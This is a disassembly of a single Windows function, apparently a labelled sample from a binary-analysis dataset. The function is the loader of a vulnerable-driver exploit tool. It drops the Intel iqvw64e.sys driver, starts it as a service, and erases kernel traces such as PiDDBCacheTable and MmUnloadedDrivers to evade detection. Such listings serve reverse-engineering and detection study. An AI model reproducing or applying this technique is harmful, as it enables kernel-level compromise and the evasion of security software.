Function at 0x140043da0
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x1401530c0]
xor rax, rsp
mov qword [rbp + 0x90], rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul eax, ebx
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str..Nal
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140043e61
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.____DeviceNal_is_already_in_use.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140048590
lea rdx, [0x140048770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rax, 0xffffffffffffffff
jmp 0x140044327
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x140154ab0], xmm0
movups xmmword [0x140154ac0], xmm0
movups xmmword [0x140154ad0], xmm0
movups xmmword [0x140154ae0], xmm0
movups xmmword [0x140154af0], xmm0
movups xmmword [0x140154b00], xmm0
mov dword [0x140154b10], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
shl ecx, 2
sub r8d, ecx
add r8d, 0xa
movsxd rdi, r8d
test r8d, r8d
jle 0x140043f11
xor ebx, ebx
movabs r14, 0x4ec4ec4ec4ec4ec5
lea rsi, [0x140000000]
nop dword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x34
sub rcx, rax
movzx eax, byte [rcx + rsi + 0x13b130]
mov byte [rbx + rsi + 0x154ab0], al
inc rbx
cmp rbx, rdi
jl 0x140043ee0
lea rdx, str.____Loading_vulnerable_driver__Name:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140048590
mov rbx, rax
lea rcx, [rsp + 0x40]
call fcn.1400438c0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x140043f40
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.14004a9c0
lea rdx, [0x140048770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140043fa1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043f9c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043f9c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d4f10
lea rcx, [rsp + 0x60]
call fcn.140043ae0
nop
cmp qword [rsp + 0x70], 0
jne 0x140043fdc
lea rdx, str.____Cant_find_TEMP_folder
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140048590
lea rdx, [0x140048770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x1400442d8
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rcx, qword [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x80]
call fcn.1400d67e2
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rdx, qword [rsp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.140047c50
nop
mov r8d, 0x8708
lea rdx, [0x1400ef710]
lea rcx, [rbp - 0x80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
lea rcx, [rbp - 0x78]
test al, al
je 0x1400440c5
call fcn.140048210
test rax, rax
jne 0x140044076
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x80], rax
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x7c], edx
lea rcx, [rbp - 0x78]
call fcn.140047be0
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x28]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rdx, str.____Failed_to_create_vulnerable_driver_file
jmp 0x140043fbb
call fcn.140048210
test rax, rax
jne 0x1400440ed
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x80], rax
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x7c], edx
lea rcx, [rbp - 0x78]
call fcn.140047be0
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x28]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x60]
call fcn.14004d560
test al, al
jne 0x14004417d
lea rdx, str.____Failed_to_register_and_start_service_for_the_vulnerable_driver
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140048590
lea rdx, [0x140048770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rcx, qword [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
jmp 0x1400442d8
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..Nal
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x1400442ad
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, recv
lea rdx, str.ntoskrnl.exe
lea rcx, [rsp + 0x40]
call fcn.14004a2d0
nop
lea rcx, [rsp + 0x40]
call fcn.14004ddb0
mov qword [0x140154b18], rax
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14004423f
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044233
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140044233
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d4f10
mov rax, qword [0x140154b18]
test rax, rax
jne 0x14004424d
lea rdx, str.____Failed_to_get_ntoskrnl.exe
jmp 0x1400442b4
mov rcx, rbx
call fcn.140045e50
test al, al
jne 0x140044262
lea rdx, str.____Failed_to_ClearPiDDBCacheTable
jmp 0x1400442b4
mov rcx, rbx
call fcn.140046790
test al, al
jne 0x140044277
lea rdx, str.____Failed_to_ClearKernelHashBucketList
jmp 0x1400442b4
mov rcx, rbx
call fcn.140045690
test al, al
jne 0x14004428c
lea rdx, str.____Failed_to_ClearMmUnloadedDrivers
jmp 0x1400442b4
mov rcx, rbx
call fcn.140044360
test al, al
jne 0x1400442df
lea rdx, str.____Failed_to_ClearWdFilterDriverList
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400487b0
jmp 0x1400442c0
lea rdx, str.____Failed_to_load_driver_iqvw64e.sys
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140048590
lea rdx, [0x140048770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, rbx
call fcn.140044960
mov rbx, 0xffffffffffffffff
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x140044324
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004431f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004431f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d4f10
mov rax, rbx
mov rcx, qword [rbp + 0x90]
xor rcx, rsp
call fcn.1400d4c50
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret